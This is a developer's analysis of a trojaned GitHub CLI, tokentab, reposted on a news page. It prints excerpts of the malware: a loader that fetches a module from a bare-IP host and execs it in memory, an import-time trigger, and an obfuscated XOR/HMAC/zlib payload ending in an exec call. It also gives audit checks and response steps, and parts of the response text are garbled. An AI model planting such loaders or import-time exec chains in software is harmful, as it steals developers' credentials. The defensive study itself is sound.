cd /news/ai-tools/a-1145-star-cli-promised-nothing-lea… · home topics ai-tools article
[ARTICLE · art-135508] src=dev.to ↗ pub= topic=ai-tools verified=true sentiment=↓ negative

A 1,145-Star CLI Promised "Nothing Leaves Your Machine". It Executes a Hidden Payload at Import Time.

A developer found that crwdla/tokentab, a GitHub CLI tool with roughly 1,145 stars that advertised running "entirely locally," executed a hidden remote payload at import time via a call on line 12 of cli.py, before argparse or any user output. An earlier commit fetched an unrelated module named manual_mapper.py from a bare-IP host over plain HTTP and executed it in memory, while a later commit replaced that code with an obfuscated, inline HMAC-SHA256 and zlib payload that unpacks and runs on import without network access. The developer recommends cloning only, never running pip install, and reading the tail of a file rather than the head to spot import-time triggers.

by read6 min views3 publishedSep 21, 2026

A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.

This is what it looked like, what I changed about my install routine, and where the routine still fails.

crwdla/tokentab was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:

tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... It runs entirely locally: no account, no API key, nothing leaves your machine.

That pitch is plausible, which is why it works. A token-cost dashboard has to read ~/.claude/projects/**/*.jsonl and ~/.codex/sessions/**/rollout-*.jsonl. Nothing about the premise is suspicious.

Commit d9e8cb4 (2026-09-07), file tokentab/setup.py:

CONFIG = {
    "HOST": "172.233.51.81",   # bare IP, no domain, no TLS
    "PORT": 8765,
    "ASSET": "main",
    "API_KEY": "test123",
    "PAYLOAD_KEY": "secret456",
}
CLIENT_MODULE = "manual_mapper.py"

def _load_module_memory(name: str, data: bytes) -> None:
    module = types.ModuleType(mod_name)
    module.__file__ = f"<ram:{name}>"          # never touches disk
    sys.modules[mod_name] = module
    exec(compile(data, name, "exec"), module.__dict__)

def bootstrap(cfg, url):
    if sys.platform != "win32":
        raise RuntimeError("win32 only")
    data = _fetch_bytes(f"{_server_base(url)}/api/v1/client/{CLIENT_MODULE}", cfg["API_KEY"])
    _load_module_memory(CLIENT_MODULE, data)

And in cli.py, at module scope:

from tokentab import setup

setup.run_sync()      # line 12 — before argparse, before any output

That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during pip install ..

Two details worth sitting with. First, the fetched module was called manual_mapper.py — a name with no relationship to counting tokens. Second, the same file still contained Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]") and a Deepseek REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.

Commit 3a7aac5 (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape:

_rd9r1n = lambda a, k: bytes(v ^ k for v in a)
_ddsw42wg7z = __import__(_rd9r1n([246,243,255,253], 158).decode())      # hmac
_xvz9negeaj = __import__(_rd9r1n([109,123,126,117], 23).decode())       # zlib
_ttyvpj     = __import__(_rd9r1n([30,23,5,30,26,31,20], 118).decode())  # hashlib

_a85u37nq1e = [[45,46,23,249,203,133,92,172, ... ]]   # ~7 KB of int arrays

…then an HMAC-SHA256 keystream over the reassembled blob, zlib.decompress, and the last line of the file:

def _i44hyn5c6u():
    getattr(__import__(<decoded "builtins">), <decoded "exec">)(_q6newk(), globals())

_i44hyn5c6u()          # line 42, runs on import

cli.py line 12 now reads setup.run_sync(FORCE_SYNC=True). Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.

The lesson that cost me a credential rotation: read the tail of the file, not the head. The trigger was the last line.

Verify it yourself — clone only, do not pip install . or run it:

git clone --depth 1 https://github.com/crwdla/tokentab && cd tokentab
git show d9e8cb4:tokentab/setup.py | sed -n '12,23p'   # CONFIG block
git show d9e8cb4:cli.py            | sed -n '1,14p'    # import-time call
git show 3a7aac5:tokentab/setup.py                     # obfuscated variant

Machine that runs coding agents = .env with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a plausible reason to be in there — session logs contain your prompts, your code, and your absolute paths.

Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.

Five checks, no install, nothing executed. I wrapped them into two scripts (repo below, audit.sh for bash and audit.py for Windows):

bash audit.sh https://github.com/<owner>/<repo>
python audit.py ./local/checkout
# Check Why it is the check
1 hardcoded IP endpoints, with or without scheme an open-source CLI that talks to 203.0.113.7:8765 has no documented reason to; real tools use a domain and a real API
2 fetch → exec / compile / decompress chains down code and running it in-process is the malware pattern; the fetcher and theexec are frequently in different files
3 import-time side effects ( setup.run_sync() ,_i44hyn5c6u() ) runs before you see output, and inside pip install .
4 obfuscation smell: xor lambdas, big int-array literals, getattr(mod, <decoded>) no cost-tracking CLI needs to hide module names behind byte arithmetic
5 declared vs real distribution (PyPI name, npm preinstall /postinstall ) an install hook is code you never read and always run

Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.

My first version flagged 414.336.75.75 in a clean repo. It was SVG path data — <path d="...414.336.75.75..."> — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on viewBox attributes gets ignored by the second week, which is strictly worse than not having one.

Order matters more than thoroughness here.

pkill python takes your agent down with the payload..env, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.hosts). Memory-only payloads leave nothing, so a clean result is not an all-clear.

npx -y geiger-scan                                    # agents / MCP servers / plugins / hooks
npx -y geiger-scan --json "$LOCALAPPDATA/Temp/geiger_$(date +%Y%m%d).json"
npx -y geiger-scan --diff baseline.json               # what appeared since last week

On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the EXECUTES tier. One of them was an agent event hook, and hooks run without a prompt, so silently replacing one hook file is a complete backdoor. --diff against last week's snapshot is the only thing that tells you when something new walked in.

A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.

It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation.

Both scripts are MIT and dependency-free here: github.com/Felixwang007/agent-supply-chain-auditaudit.sh, audit.py, and the checklist in the README.

The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.

── more in #ai-tools 4 stories · sorted by recency
── more on @crwdla/tokentab 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/a-1145-star-cli-prom…] indexed:0 read:6min 2026-09-21 ·